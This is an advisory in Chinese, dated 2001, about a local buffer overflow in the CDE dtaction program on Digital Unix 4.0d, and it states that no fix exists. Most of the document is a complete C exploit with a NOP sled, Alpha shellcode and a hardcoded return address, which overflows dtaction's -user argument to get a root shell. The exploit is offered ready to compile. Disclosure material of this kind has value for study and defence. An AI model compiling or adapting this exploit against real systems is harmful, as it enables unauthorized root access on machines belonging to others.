Digital Unix CDE dtaction 缓冲溢出代码发布时间：2001-11-16 更新时间：2001-11-16 严重程度：高 威胁程度：本地管理员权限 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 Digital Unix 4.0d CDE dtaction详细描述 Digital Unix 4.0d CDE dtaction 提送超长参数可导致缓冲溢出。 测试代码 /* * dtaction-ex.c * tested : Digital Unix 4.0d , OSF1 V4.0 878 alpha * * cc -o dtaction-ex dtaction-ex.c * * truefinder , seo@igrus.inha.ac.kr, seo@underground.or.kr * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define NOP 0x47ff041f #define ALIGNSIZE (9) #define BUFSIZE (8199 ) #define RETADDR 0x000000011ffffaa0 #define DEFNOPSIZE 7168 char nop[] = { 0x1f, 0x04, 0xff, 0x47, 0x00 }; char retaddr[] = { 0xa0, 0xea, 0xff, 0x1f, 0x01 , 0x00 }; static char shellcode[] = "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x11\x74\xf0\x47" /* bis $31,0x83,$17 */ "\x12\x94\x07\x42" /* addq $16,60,$18 */ "\xfc\xff\x32\xb2" /* stl $17,-4($18) */ "\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */ "\x1f\x04\x31\x22" /* lda $17,0x041f($17) */ "\xfc\xff\x30\xb2" /* stl $17,-4($16) */ "\xf9\xff\x1f\xd2" /* bsr $16,-28 */ "\x30\x15\xd9\x43" /* subq $30,200,$16 */ "\x31\x15\xd8\x43" /* subq $30,192,$17 */ "\x12\x04\xff\x47" /* clr $18 */ "\x40\xff\x1e\xb6" /* stq $16,-192($30) */ "\x48\xff\xfe\xb7" /* stq $31,-184($30) */ "\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */ "\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */ "\x13\x05\xf3\x47" /* ornot $31,$19,$19 */ "\x3c\xff\x7e\xb2" /* stl $19,-196($30) */ "\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */ "\x2f\x62\x73\x22" /* lda $19,0x622f($19) */ "\x38\xff\x7e\xb2" /* stl $19,-200($30) */ "\x13\x94\xe7\x43" /* addq $31,60,$19 */ "\x20\x35\x60\x42" /* subq $19,1,$0 */ "\xff\xff\xff\xff"; /* callsys ( disguised ) */ /* ohhara's shellcode */ int main(int argc, char *argv[] ) { char *buf , *buf_ptr; int bufsize , alignsize , offset ; int i, totalsize; bufsize = BUFSIZE ; alignsize = ALIGNSIZE ; offset = 0 ; totalsize = alignsize + bufsize ; buf = malloc( totalsize ) ; memset ( buf, NULL , totalsize ); memset ( buf, 'A', alignsize ); buf_ptr = (char *)(buf + alignsize ); for ( i = 0 ; i < DEFNOPSIZE/4 ; i++ ) strcat ( buf_ptr , nop ); strcat ( buf_ptr, shellcode ); for ( i =0 ; i < bufsize - DEFNOPSIZE - strlen(shellcode) - 8 ; i++ ) strcat( buf_ptr ,"A"); strcat ( buf_ptr , retaddr ); execl ("/usr/dt/bin/dtaction", "dtaction", "-user", buf, NULL ); } 解决方案 尚无 相关信息 |
